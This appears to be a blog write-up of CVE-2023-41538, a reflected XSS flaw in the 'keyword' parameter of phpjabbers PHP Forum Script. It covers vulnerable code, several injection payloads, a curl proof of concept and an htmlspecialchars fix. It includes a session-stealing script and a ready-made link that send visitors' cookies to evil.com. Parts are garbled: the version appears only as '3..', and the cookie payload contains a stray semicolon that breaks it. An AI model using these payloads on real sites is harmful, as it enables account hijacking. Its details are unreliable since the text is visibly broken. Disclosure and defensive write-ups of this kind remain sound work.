*Published: June 2024*

Cross Site Scripting (XSS) is one of the most common — and dangerous — security vulnerabilities in web applications. In this write-up, we deep-dive into CVE-2023-41538, a fresh XSS flaw affecting the popular phpjabbers PHP Forum Script 3..

This post will explain what happened, how it can be exploited, and how you can protect your site. Real code examples are included for clarity. Let’s get started!

What Is CVE-2023-41538?

CVE-2023-41538 is a security vulnerability caused by improper input handling in the “keyword” search parameter of phpjabbers’s PHP Forum Script, version 3.. An attacker can inject JavaScript code into the forum’s search bar, leading to the execution of malicious scripts in the victim’s browser — classic reflected XSS.

Version: 3.

- Vendor: phpjabbers.com

The forum lets users search threads with a keyword parameter, e.g.

https://example.com/forum/index.php?keyword=searchterm

However, any input sent in keyword is output back to the page without sanitization or escaping, directly into the HTML.

Consider the following PHP snippet, common in the script

<?php
$keyword = $_GET['keyword'];
echo "<input type=\"text\" name=\"keyword\" value=\"$keyword\">";
?>

If the attacker sends

?keyword=" autofocus onfocus=alert(1) x="

it would render as

<input type="text" name="keyword" value="" autofocus onfocus=alert(1) x="">

Or a script tag

?keyword="><script>alert('XSS')</script>

Resulting in

<input type="text" name="keyword" value=""><script>alert('XSS')</script>

The script runs as soon as the page loads — game over.

Suppose the PHP Forum is online at

https://vulnerable.site/forum/index.php

Attack URL

https://vulnerable.site/forum/index.php?keyword="><script>alert('Hacked by XSS')</script>

Visiting this URL pops up a JavaScript alert.

Screenshot:
(*Imagine a screenshot with a JavaScript alert box reading "Hacked by XSS"*).

Attackers might use the following payload for session stealing

"><script>
  fetch('https://evil.com/steal?cookie='; + document.cookie);
</script>

Malicious link:

https://vulnerable.site/forum/index.php?keyword="><script>fetch('https://evil.com/steal?cookie=';+document.cookie);</script>

Any user (even admins!) clicking this link would have their cookies sent to the attacker.

Here’s a simple proof-of-concept for responsible security testers

curl 'https://vulnerable.site/forum/index.php?keyword=%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E' \
-H 'Cookie: PHPSESSID=XXXX'

Upon loading the page, an alert box will appear — showing XSS is possible.

References

- NVD Entry for CVE-2023-41538
- Exploit Database Entry *(if available)*
- phpjabbers Product Page

How to Fix

To fix, always sanitize user inputs before echoing them into HTML.

Safe Output in PHP

<?php
$keyword = htmlspecialchars($_GET['keyword'] ?? '', ENT_QUOTES, 'UTF-8');
echo '<input type="text" name="keyword" value="' . $keyword . '">';
?>

This ensures any special characters are encoded and cannot break out of the value attribute.

Conclusion

The CVE-2023-41538 XSS bug in phpjabbers PHP Forum Script 3. is a textbook example: simple, but dangerous. If you’re running this script, patch it right away, or apply the code fixes shown above.

Stay safe, don’t trust user input, and always sanitize!

*This post is for educational purposes and responsible disclosure only. Do not exploit live systems without explicit permission.*

Timeline

Published on: 08/30/2023 14:15:11 UTC
Last modified on: 08/31/2023 21:14:02 UTC